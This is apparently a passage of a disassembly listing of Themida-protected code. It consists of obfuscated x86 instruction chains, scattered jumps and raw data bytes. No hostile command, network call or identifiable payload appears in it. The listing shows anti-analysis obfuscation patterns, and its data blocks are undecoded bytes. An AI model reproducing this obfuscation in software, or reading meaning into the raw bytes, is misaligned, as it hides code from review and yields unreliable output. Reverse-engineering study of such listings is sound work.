; ---------------------------------------------------------------------------


loc_564127:				; CODE XREF: Themida_:00569A59j
		xor	edx, 10F70025h
		sub	edi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5709DA
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0ABh
		dd 895C1203h, 0B779E9DEh, 0E95CFFFFh, 6E7Dh, 8B241C87h
		dd 0D1E92424h, 810000AAh, 842D8AE7h, 814F4740h,	0A62188CFh
		dd 17B95139h, 1F54856h,	0FA2959CFh, 81DA015Fh, 0EE7FA1C2h
		dd 0BB73E92Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564192:				; CODE XREF: Themida_:00567E59j
		push	dword ptr [edx]
		sub	dword ptr [esp], 6EDF4585h
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_57058A
; ---------------------------------------------------------------------------


loc_5641A7:				; CODE XREF: Themida_:00567AA9j
		pop	eax
		push	0BE8h
		mov	[esp], ecx
		mov	cl, dl
		mov	[edi+eax*4+1], cl
		mov	ecx, [esp]
		jmp	loc_56B8C3
; ---------------------------------------------------------------------------
aSAZqs		db 'S» {‡Qé]°',0
		db 0
; ---------------------------------------------------------------------------


loc_5641C9:				; CODE XREF: Themida_:005628E5j
		shl	edx, 8
		not	edx
		push	ebx
		mov	ebx, 9A33B336h
		jmp	loc_564372
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 57240C89h, 0A458A0BFh, 36AFB93Ch, 0F93106A3h, 0EDED815Fh
		dd 8110CF0Fh, 0B95504C5h, 0B212E944h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5641FE:				; CODE XREF: Themida_:00570895j
		add	esp, 4
		push	3953h
		mov	[esp], esi
		push	esp
		jmp	loc_55F921
; ---------------------------------------------------------------------------
		db 55h
		dd 2332F8BDh, 0F9EB8169h, 57306116h, 2B3911BFh,	90C78176h
		dd 817E8469h, 3C3891EFh, 601E9B7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564232:				; CODE XREF: Themida_:0056CBE5j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 58507077h
		dec	edi
		not	edi
		not	edi
		sub	edi, 0FFFFFFFFh
		jmp	loc_55E0B8
; ---------------------------------------------------------------------------
		db 83h
		dd 148704C2h, 24248B24h, 7FE9C729h, 510000B6h, 0C1815954h
		dd 4, 4C181h, 0C870000h, 24248B24h, 2BB53h, 0DD010000h
		dd 81241C8Bh, 4C4h, 9145E900h, 0F889FFFFh, 662C0D5Fh, 0B9510EA8h
		dd 24F54639h, 0E959C829h, 0A122h
; ---------------------------------------------------------------------------


loc_5642A4:				; CODE XREF: Themida_:0056FCB8j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_5705A1
; ---------------------------------------------------------------------------
		dd 704B6866h, 240C8966h, 9E4CE952h, 8F5F0000h, 4832404h
		dd 148B0424h, 4C48124h,	68000000h, 5BF6h, 0B9240C89h, 519D3FCCh
		dd 6807E9C1h, 0
		dd 59240C29h, 6192E981h, 0D9F72F2Fh, 5F1C981h, 0C18106BBh
		dd 0D0046213h, 946AE9h
dword_564300	dd 90E95D00h		; DATA XREF: Themida_:005487D0o
					; Themida_:00549DACo ...
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564307:				; CODE XREF: Themida_:0056967Aj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	0CFBh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55DC1C
; ---------------------------------------------------------------------------
		db 0F7h
		dd 8D3EE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56433E:				; CODE XREF: Themida_:0056784Fj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 2DE90AFBh
		not	eax
		neg	eax
		jmp	loc_5675CF
; ---------------------------------------------------------------------------
		dd 68243C89h, 0CD25B93h, 0CC84BA5Fh, 0FA01181Eh, 2CCAE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564372:				; CODE XREF: Themida_:005641D4j
		add	edx, 74D56B45h
		sub	edx, ebx
		sub	edx, 74D56B45h
		pop	ebx
		push	ecx
		mov	ecx, 5C862B2h
		and	ecx, 27782C92h
		shl	ecx, 1
		jmp	loc_56837D
; ---------------------------------------------------------------------------


loc_564394:				; CODE XREF: Themida_:0056BEECj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_55EB48
; ---------------------------------------------------------------------------
		dw 0F766h
		dd 0E99C241Ch, 0FFFF8072h
; ---------------------------------------------------------------------------


loc_5643B0:				; CODE XREF: Themida_:0056C4C1j
		mov	esi, ecx
		pop	ecx
		add	esi, 9A308ADEh
		add	edx, esi
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	edx
		push	edi
		mov	edi, 1
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_567F06
; ---------------------------------------------------------------------------
		dw 6852h
		dd 683B5A53h, 57F2815Ah, 0E9683B5Ah, 459Eh
; ---------------------------------------------------------------------------


loc_5643F4:				; CODE XREF: Themida_:0056C461j
		pop	ecx
		add	ecx, 4
		jmp	loc_560D40
; ---------------------------------------------------------------------------


loc_564400:				; CODE XREF: Themida_:00570A94j
		push	dword ptr [esp]
		jmp	loc_56BD7C
; ---------------------------------------------------------------------------
		dd 6DF68059h, 0C015C680h, 0C68003E6h, 5AF530A3h, 0E95AC580h
		dd 8228h, 0E902E8C1h, 56F8h, 81E28952h,	4C2h, 6C65E900h
		dd 0B8500000h, 6444A78h, 311B3B0Dh, 0D5DC052Ch,	0C189FD88h
		dd 59CB2958h, 0C381C301h, 2BFE3157h, 3C1268h, 24148900h
		dd 0FFD6A0E9h, 0F7DAF7FFh, 96EA81D2h, 2911DCF5h, 95C5E9D0h
		dd 0FF54FFFFh, 2C8B2434h, 4C48324h, 4C481h, 52560000h
		dd 0A3E8E9h, 66586600h,	92C781h, 66D7F766h, 0E905EFC1h
		dd 0FFFFF6F4h
; ---------------------------------------------------------------------------


loc_56449C:				; CODE XREF: Themida_:00563690j
		pop	edx
		jmp	loc_562518
; ---------------------------------------------------------------------------
aIuh		db '‰ãhš|',0
		dd 240C8900h, 0EA46856h, 34FF2CEAh, 0C4835E24h,	0C098E904h
		dd 0C683FFFFh, 24348704h, 4EC835Ch, 0E9243C89h,	0C694h
		dd 48BC501h, 0B4CBE924h, 505B0000h, 88EF8853h, 81515BFCh
		dd 4ECh, 241C8900h, 0E1885152h,	8859CA88h, 95E95AD3h, 8B00002Eh
		dd 0C481240Ch, 4, 8904EC83h, 0C2B82404h, 0D42C861h, 4B1D70E9h
		dd 0FF7F80E9h, 585450FFh, 405h,	40500h,	0E2E90000h, 5AFFFFC4h
		dd 3801C381h, 0EB816543h, 2E475A4h, 592434FFh, 8104C483h
		dd 2C3h, 241C8700h, 2377E9h, 0C5815D00h, 4, 25F168h, 2DD4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56455E:				; CODE XREF: Themida_:0056D02Ej
		push	edx
		mov	edx, 4
		jmp	loc_561C72
; ---------------------------------------------------------------------------
		db 88h,	0F5h, 88h
		dd 0FF59286Fh, 835A2434h, 0A7E904C4h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56457B:				; CODE XREF: Themida_:0056B13Dj
		sub	esp, 4
		jmp	loc_565374
; ---------------------------------------------------------------------------


loc_564586:				; CODE XREF: Themida_:00562B30j
		pop	ebx
		xor	esi, 1FBB0C58h
		or	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, 1434748Dh
		dec	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0D054698Fh
		sub	ebx, 6E8606DCh
		add	ebx, esi
		push	esi
		mov	esi, 6F871803h
		sub	esi, 1011127h
		add	ebx, esi
		pop	esi
		pop	esi
		and	eax, ebx
		jmp	loc_56B66E
; ---------------------------------------------------------------------------
		dw 487h
		dd 34895C24h, 34FF5424h, 5D5CE924h, 0EC830000h,	240C8904h
		dd 0CDFED7B5h, 0CDFED5F6h, 9F29E952h, 8B660000h, 9AE92404h
		dd 83000010h, 8B042404h, 5456241Ch, 4C6815Eh, 83000000h
		dd 348704C6h, 0EC835C24h, 24148904h, 4BAh, 5AD30100h, 504168h
		dd 24348900h, 4BEh, 0EF8DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56462A:				; CODE XREF: Themida_:0055EAD6j
		pop	esi
		jmp	loc_56033A
; ---------------------------------------------------------------------------
aPQonssgd	db 'P¸ŸO­S飄',0
		dw 8900h
		dd 79B82404h, 1EF5D7Ch,	3DE958C6h, 560000C2h, 0C681E689h
		dd 4, 4C681h, 34870000h, 64E95C24h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564663:				; CODE XREF: Themida_:005639E3j
		push	ecx
		mov	ecx, 4D852FA5h
		push	edx
		push	ecx
		mov	ecx, 4B100BCAh
		add	ecx, 0B496C5Ch
		neg	ecx
		jmp	loc_568D20
; ---------------------------------------------------------------------------


loc_56467D:				; CODE XREF: Themida_:0056C36Dj
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		db 1, 0C1h, 81h
		dd 397C1AE9h, 0C335843h, 240C3124h, 0E9240C33h,	7D8h, 4C381h
		dd 0EFE90000h, 0BDFFFFA4h, 4, 50B7C781h, 0EF010EABh, 50B7EF81h
		dd 34FF0EABh, 242C8B24h, 635DE953h, 34870000h, 0C3015C24h
		dd 9BE9E951h, 0C581FFFFh, 4, 0E9242C87h, 89DDh,	5C13685Ah
		dd 3C890000h, 2474FF24h, 48F5F04h, 0DBFE924h, 66BE0000h
		dd 8117BF3Ch, 2C676FF6h, 81D6F762h, 0FDC7F8EEh,	6EC28194h
		dd 147101Dh, 6EEA81F2h,	0E947101Dh, 0FFFFCBD3h,	0E9028F64h
		dd 0FFFF7CFAh, 0D224248Bh, 0E99C242Ch, 0FFFF7CEEh, 43675ABFh
		dd 5FF93156h, 0D8F18149h, 9303E09h, 1D46E9CEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56474A:				; CODE XREF: Themida_:0056A2ABj
		mov	ebp, esp
		jmp	loc_55EDB6
; ---------------------------------------------------------------------------
		db 81h,	34h, 24h
		dd 458D2B80h, 83241C8Bh, 0F38104C4h, 458D2B80h,	3AF1E9h
		dd 3C316600h, 7CB0E924h, 489FFFFh, 0BB00E924h, 815E0000h
		dd 3F4B0AC1h, 0AEE98158h, 1573F2Fh, 0AEC181E9h,	81573F2Fh
		dd 3F4B0AE9h, 242C8B58h, 4C481h, 0EC810000h, 4,	53241489h
		dd 0B42CC968h, 84E95B50h, 66000066h, 887CB652h,	0F65A66F5h
		dd 8612E9D5h, 0E8830000h, 6E0C101h, 0FFA449E9h,	5BDD01FFh
		dd 242C335Bh, 82A7E9h, 4EC8100h, 89000000h, 0EBBB241Ch
		dd 0C17C166Eh, 0F38103EBh, 49D911BDh, 4B1EB81h,	0EBC101B6h
		dd 83685003h, 89000066h, 3E9240Ch, 50FFFFEBh, 0A639E2B8h
		dd 58C6016Ah, 5F2434FFh, 81E28952h, 4C2h, 4C28100h, 0E9000000h
		dd 4C6Eh
; ---------------------------------------------------------------------------


loc_564828:				; CODE XREF: Themida_:00567FCEj
		add	ebx, 0D737817h
		jmp	loc_55DA29
; ---------------------------------------------------------------------------
		db 0D1h
		dd 30BE56E7h, 0F754413Ah, 62CEE9D6h, 0D9010000h, 0FFE04FE9h
		dd 285A66FFh, 516659E8h, 0C80035B1h, 0B27BE9h, 0D831AD00h
		dd 762668h, 242C8900h, 0FFDDFCE9h, 242C8BFFh, 0E9E68956h
		dd 9F69h, 0E924348Bh, 2CAFh, 405E089h, 0E9000000h, 0FFFFD78Ch
; ---------------------------------------------------------------------------


loc_564888:				; CODE XREF: Themida_:00569DB7j
		shr	edx, 7
		jmp	loc_569960
; ---------------------------------------------------------------------------


loc_564890:				; CODE XREF: Themida_:005661C5j
		sub	esp, 4
		jmp	loc_56DE5C
; ---------------------------------------------------------------------------
		dd offset dword_45A924+32E44h
		dd 0CAB9E900h, 0F587FFFFh, 81F5874Eh, 2D0C00F5h, 9ACD8146h
		dd 4544FE11h, 2550F581h, 0E9011B48h, 3926E9h
		db 0
; ---------------------------------------------------------------------------


loc_5648C1:				; CODE XREF: Themida_:0056A260j
		pop	esi
		add	esp, 4
		xor	edx, ecx
		push	dword ptr [esp]
		jmp	loc_560B8A
; ---------------------------------------------------------------------------
		align 10h
aSjp		db 'Ë醯',0
		align 2
		dw 1C89h
		dd 0E9EF8824h, 4AFh, 498AE381h,	0E3E96FA4h, 89FFFF9Ch
		dd 79E9241Ch, 6600005Fh, 0E924048Bh, 843Eh, 5E2434FFh
		dd 104C483h, 0BF575FF8h, 55B93C6Ch, 5CAF68h, 240C8900h
		dd 0E904EC83h, 3F5Dh
; ---------------------------------------------------------------------------


loc_56491C:				; CODE XREF: Themida_:0056A991j
		mov	[esp], ecx
		mov	ecx, 68067EE0h
		push	esi
		mov	esi, 76443E6Ah
		sub	[esp+8], esi
		pop	esi
		sub	[esp+4], ecx
		push	edx
		jmp	loc_565951
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 2424895Ch, 4240481h,	8B000000h, 0E1E92404h, 0FF000076h
		dd 815A2434h, 4C4h, 66BB0400h, 2844B151h, 1222E9C8h, 0F3810000h
		dd 52F573A5h, 0F9F3814Bh, 53528924h, 0F41661BBh, 0CAF38137h
		dd 0C14B8B1Ah, 0EBC106E3h, 0FF56E904h, 0C681FFFFh, 6EED57CAh
		dd 585EF729h, 8702EF83h, 9EE9243Ch, 0BB00003Dh,	4, 5573C781h
		dd 0DF016DBDh, 5573EF81h, 815B6DBDh, 4C7h, 7871E900h, 0B9510000h
		dd 1, 0BCA2E9h,	4EC8300h, 0B0240489h, 0E9DF2CB4h, 0FFFFC3EAh
		dd 9AEE80h, 9AC680FEh, 50665B66h, 0FF98C0E9h, 48B66FFh
		dd 1DBE924h, 8F540000h,	0E9512404h, 0FFFFBB67h,	0E95BDA01h
		dd 0FFFFC729h
; ---------------------------------------------------------------------------


loc_564A04:				; CODE XREF: Themida_:0057127Bj
		add	esp, 4
		sub	ebx, 368B4F65h
		add	ebx, edx
		add	ebx, 368B4F65h
		pop	edx
		pop	edx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_55F616
; ---------------------------------------------------------------------------
		dd 0EA81EA01h, 2F386CB4h, 0FF83EAE9h, 0E16855FFh, 5D413245h
		dd 3E1EF581h, 0F7555898h, 0C5E92414h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564A53:				; CODE XREF: Themida_:005699E2j
		pop	edx
		neg	esi
		jmp	loc_55EB10
; ---------------------------------------------------------------------------


loc_564A5B:				; CODE XREF: Themida_:0056FCEAj
		xor	edx, ebx
		pop	ebx
		shl	edx, 8
		push	esi
		mov	esi, 270364C6h
		and	esi, 4F3631E6h
		push	edi
		jmp	loc_5677C8
; ---------------------------------------------------------------------------


loc_564A73:				; CODE XREF: Themida_:00563E72j
		pop	ecx
		jmp	loc_55D316
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 5C241433h, 2207E9h, 4B800h, 0C6290000h, 24348758h, 8924248Bh
		dd 4812424h, 424h, 0A2C5E900h, 0EC830000h, 9ECAE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564AAA:				; CODE XREF: Themida_:0055EC04j
		add	ebp, 4E121E17h
		sub	ecx, ebp
		pop	ebp
		add	ecx, edi
		jmp	loc_56C213
; ---------------------------------------------------------------------------
		dw 812Dh
		dd 8B1CAA3Ah
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 5CAC7B4Fh
		or	edi, 509E64D2h
		neg	edi
		sub	edi, 33A53331h
		add	edi, 5DC16498h
		sub	edi, 0CD5DB184h
		jmp	loc_56AA64
; ---------------------------------------------------------------------------


loc_564AEA:				; CODE XREF: Themida_:0056A8FBj
		push	48BF544Fh
		pop	ebx
		add	esi, ebx
		pop	ebx
		push	ebx
		jmp	loc_561502
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 2404895Ch, 0E9E18951h, 0BCE5h, 4184C381h, 0EB813B30h
		dd 4CBD4638h, 0BE56E9h
		db 0
; ---------------------------------------------------------------------------


loc_564B19:				; CODE XREF: Themida_:00563793j
		push	edi
		jmp	loc_568A16
; ---------------------------------------------------------------------------
		db 0B9h
		dd 51177AC4h, 4C17C181h, 0C9811E28h, 65F6273Bh,	99C9F181h
		dd 0CE8926C6h, 24740159h, 8F5D5E08h, 0BE562404h, 4, 0FFD89EE9h
		dd 0E9D088FFh, 0FFFFE9DEh, 0BB241C89h, 6276649Bh, 705CB951h
		dd 0C1815DF3h, 0EE8C9834h, 9938E9h, 0AAEF8100h,	534E3B4Bh
		dd 2883E9h, 48F5E00h, 0E1E95C24h, 58000081h, 2F75BF57h
		dd 0DF875CD1h, 0DF31D3F7h, 0DF31FB31h, 6ADDE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564B9A:				; CODE XREF: Themida_:00569472j
		pop	ebp
		shr	edx, 1
		add	edx, 57F3243Eh
		not	edx
		push	ebx
		mov	ebx, 17A36681h
		sub	edx, ebx
		pop	ebx
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, eax
		sub	ebx, 65A5718Ah
		jmp	loc_56DCEA
; ---------------------------------------------------------------------------


loc_564BC6:				; CODE XREF: Themida_:0055D85Aj
		sub	edx, ebp
		jmp	loc_567036
; ---------------------------------------------------------------------------
aStHX		db 'ST[h',0Ah
		db 'X',0
		dd 24048900h, 0D71F9AB8h, 1F962D75h, 21E975D7h,	89FFFFFFh
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 48E9535Ch, 1000041h
		dd 6EC681CEh, 814A8374h, 0C62DF1EEh, 240C8B28h,	3304C483h
		dd 71E92434h, 89FFFFC3h, 0FF54242Ch, 815D2434h,	4C4h, 4C58100h
		dd 53000000h, 4BBh, 0E9DD0100h,	0FFFFA69Fh, 0FF242C89h
		dd 8B042474h, 0C481242Ch, 4, 8B24048Fh,	0E9F62424h, 0CCB60F66h
		dd 4EC81h, 2C890000h, 515D5424h, 3BB6E950h, 33660000h
		dd 0F6E9243Ch, 29FFFFFAh, 59CE87F1h, 0ACD4E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564C7E:				; CODE XREF: Themida_:0056B39Dj
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		mov	al, 0ADh
		mov	dl, al
		pop	eax
		push	ebx
		mov	bh, 36h
		jmp	loc_55D9B4
; ---------------------------------------------------------------------------


loc_564CA3:				; CODE XREF: Themida_:005667F3j
		xchg	edx, [esp]
		pop	esp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_55CA26
; ---------------------------------------------------------------------------


loc_564CB6:				; CODE XREF: Themida_:0056DE80j
		mov	[esp], ebx
		push	1
		jmp	loc_56C6CD
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0B9240C89h, 54A1214Fh, 0BE59CD89h, 54A12151h, 2C8BEE29h
		dd 0ADE2E924h, 48B0000h, 4C48124h, 0E9000000h, 0FFFFD06Eh
		dd 5C24048Fh, 8C16E9h, 4C68100h, 83000000h, 348704C6h
		dd 0EC835C24h, 24348904h, 42474FFh, 8324348Bh, 48F04C4h
		dd 242C8B24h, 4C481h, 0E9310000h, 43FFE9h, 4055800h, 0E9000000h
		dd 5E18h
; ---------------------------------------------------------------------------


loc_564D30:				; CODE XREF: Themida_:0056D20Cj
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 34BBE9h, 2E7C100h, 7F0868h, 1BC0E900h, 248B0000h
		dd 14896624h, 9C506624h, 61A9E9h, 24148900h, 24148B54h
		dd 5304C483h, 4BBh, 5BDA0100h, 94CCE9h,	0D0D4F600h, 0EDB551ECh
		dd 8BBF580h, 17E959ECh,	88FFFF8Dh, 9CC4E9F8h, 0BD55FFFFh
		dd 4F792C55h, 0E581D5F7h, 42FB4644h, 6B38ED81h,	0ED816CA9h
		dd 27889265h, 7A4C7105h, 2DE8013Bh, 3B7A4C71h, 0FF8828E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564DC1:				; CODE XREF: Themida_:0056E5AAj
		xor	edi, eax
		mov	eax, [esp]
		jmp	loc_563D14
; ---------------------------------------------------------------------------


loc_564DCB:				; CODE XREF: Themida_:00561206j
		add	edx, ebx
		jmp	loc_56CBE4
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 67E95C24h, 3000000Ch, 0B75359CBh, 0F2B551A3h, 7CDBE9h
		dd 50525F00h, 0D6532EB8h, 58C2890Fh, 0FF9E9BE9h, 241C89FFh
		dd 0C3815B54h, 4, 815A5452h, 4C2h, 89E95000h, 5300005Dh
		dd 0C380EBB3h, 11E380F5h, 0FEF5EB80h, 0E8EB80CBh, 525BD920h
		dd 0C68057B6h, 195DE919h, 0E95C0000h, 3D78h, 4EA815Eh
		dd 68000000h, 360h, 0FF241489h,	5A042474h, 8195E9h
		db 0
; ---------------------------------------------------------------------------


loc_564E51:				; CODE XREF: Themida_:0056D813j
		not	ebx
		jmp	loc_56F08B
; ---------------------------------------------------------------------------


loc_564E58:				; CODE XREF: Themida_:005620D3j
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		inc	eax
		push	ebp
		jmp	loc_56E373
; ---------------------------------------------------------------------------


loc_564E65:				; CODE XREF: Themida_:00561CBDj
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_560E55
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFECBBh, 6624248Bh, 0E9240C8Bh, 3F08h
; ---------------------------------------------------------------------------


loc_564E84:				; CODE XREF: Themida_:00570DD4j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_568FF0
; ---------------------------------------------------------------------------


loc_564E97:				; CODE XREF: Themida_:00565B78j
		add	esp, 4
		neg	edx
		jmp	loc_570983
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 3B7EE9h
		db 0
; ---------------------------------------------------------------------------


loc_564EA9:				; CODE XREF: Themida_:0056224Dj
		mov	edi, 28B23B26h
		sub	edi, 28AA3B26h
		push	edi
		pop	ecx
		pop	edi
		push	ecx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_56B440
; ---------------------------------------------------------------------------


loc_564EC9:				; CODE XREF: Themida_:0055DB11j
		shl	esi, 4
		xor	esi, 2FEE58Ch
		xor	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ebx
		jmp	loc_56B4F7
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 1C8904ECh, 1DFD6824h, 24890000h, 24048324h, 0BC685B04h
		dd 89000025h, 6CBA2414h, 815DE956h, 0E95668EAh,	65F4E95Dh
		dd 3C870000h, 3DE95C24h, 8B0000A4h, 0C4832434h,	0FFC38304h
		dd 0C381D3F7h, 6FA1546Ah, 62E9DE01h, 1FFFFE3h, 14875FFAh
		dd 89515C24h, 4C181E1h,	83000000h, 0C8704C1h, 6399E924h
		dd 0C890000h, 3FD4E924h, 0C7810000h, 4,	4C781h,	0FF570000h
		dd 5F042474h, 0FFCD77E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564F65:				; CODE XREF: Themida_:005688D5j
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55CD8F
; ---------------------------------------------------------------------------


loc_564F83:				; CODE XREF: Themida_:0056C904j
		shr	edi, 6
		add	edi, 740AB828h
		sub	ecx, 539D2A51h
		add	ecx, edi
		add	ecx, 539D2A51h
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_56F8F4
; ---------------------------------------------------------------------------
		db 5Ch
		dd 83241C8Bh, 0CB6804C4h, 0E9000064h, 868Bh
; ---------------------------------------------------------------------------


loc_564FB8:				; CODE XREF: Themida_:00560CD6j
		push	edi
		mov	edi, 1D865583h
		jmp	loc_56A877
; ---------------------------------------------------------------------------
		db 89h
		dd 0F38958C6h, 35C3815Eh, 551A3E6Fh, 0B3619CBDh, 5DEB0141h
		dd 0EB81CB29h, 41B3619Ch, 1C41E9h, 34FF5C00h, 9D8AE924h
		dd 0E7810000h, 5B997435h, 9AF6EF81h, 0FD89D706h, 0E5C1455Fh
		dd 1ED8302h, 3DE9F587h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56500B:				; CODE XREF: Themida_:005664C1j
		mov	edi, 38A94459h
		shl	edi, 8
		push	ecx
		push	eax
		push	3A361BDDh
		mov	eax, [esp]
		add	esp, 4
		add	eax, 1
		sub	eax, 5EFDC6A6h
		mov	ecx, eax
		pop	eax
		jmp	loc_55C76E
; ---------------------------------------------------------------------------


loc_565032:				; CODE XREF: Themida_:0055DED3j
		push	61AC19A1h
		pop	edx
		jmp	loc_56663D
; ---------------------------------------------------------------------------


loc_56503D:				; CODE XREF: Themida_:00561716j
		add	ebx, 6A779A2h
		jmp	loc_570859
; ---------------------------------------------------------------------------
		dd 5C240487h, 0FFE8E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565051:				; CODE XREF: Themida_:005701CAj
		pop	esp
		mov	[esp], eax
		mov	eax, 37A0400Dh
		xor	edx, eax
		pop	eax
		jmp	loc_566B48
; ---------------------------------------------------------------------------
		dw 0D5F7h
		dd 0C383EB87h, 4EC8301h, 0BF243C89h, 4B9004F5h,	0E901C783h
		dd 0FFFFFCCDh, 0D1613BBDh, 5DEA29A0h, 5707EAC1h, 0B4818BFh
		dd 5FFA3108h, 95D6E957h, 5053FFFFh, 715EE9h
		db 0
; ---------------------------------------------------------------------------


loc_56509D:				; CODE XREF: Themida_:00563400j
		add	esp, 4
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56F040
; ---------------------------------------------------------------------------
		dd 0BC01F681h, 0ED81A1A4h, 3C233528h, 0C581F501h, 3C233528h
		dd 23C4685Eh, 0C890000h, 2B924h, 40E90000h, 83FFFF9Eh
		dd 895004C4h, 405E0h, 0EC810000h, 4, 0E9243C89h, 0FFFFD252h
		dd 0AEE9E189h, 100007Ah, 2195E9F3h, 8B660000h, 0EC812404h
		dd 4, 54240489h, 8124048Bh, 4C4h, 0C739E900h, 685BFFFFh
		dd 7D84h, 30F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_565121:				; CODE XREF: Themida_:005660F7j
		mov	ebp, 3C054607h
		sub	ebp, 0FFFFFFFFh
		jmp	loc_5629BF
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4240481h, 8B000000h,	0E9572414h, 0FFFFB4CEh
; ---------------------------------------------------------------------------


loc_565144:				; CODE XREF: Themida_:0056ECA7j
		pop	ecx
		jmp	loc_56D057
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 0FF02035Dh, 0D6E92434h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565157:				; CODE XREF: Themida_:00562316j
		push	ecx
		sub	dword ptr [esp], 6D442CCCh
		pop	edi
		add	edi, 6D442CCCh
		jmp	loc_565B9F
; ---------------------------------------------------------------------------


loc_56516B:				; CODE XREF: Themida_:00561C6Dj
		mov	edx, 74BB0B9Ah
		add	ebp, edx
		jmp	loc_5660BF
; ---------------------------------------------------------------------------


loc_565177:				; CODE XREF: Themida_:0056B8B6j
		add	ecx, esi
		add	ecx, 7EBB0513h
		pop	esi
		push	esi
		push	ebx
		push	7A4C3B7Dh
		pop	ebx
		or	ebx, 0C6E672Eh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 10B15BBh
		jmp	loc_567BB7
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 3304EA83h, 14312414h, 24143324h, 8924248Bh, 0B850243Ch
		dd 5BB67DD4h, 0FFFFFF2Dh, 62792DFFh, 510D3891h,	0C106C276h
		dd 0BF5703E8h, 0EE99EF9Dh, 895FF829h, 7C3158C7h, 34FF0424h
		dd 0EC815F24h, 4, 0E9240489h, 0BFCh, 80CBCD80h,	0EB2055EDh
		dd 592434FFh, 4C481h, 0EB800000h, 66E3D083h, 28A7B450h
		dd 48B66E3h, 2C48124h, 52000000h, 46ADE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56521E:				; CODE XREF: Themida_:00566245j
		push	ecx
		mov	ecx, 60B931C2h
		push	edi
		mov	edi, 62B761C3h
		add	dword ptr [esp+8], 3A9A4707h
		sub	[esp+8], edi
		sub	dword ptr [esp+8], 3A9A4707h
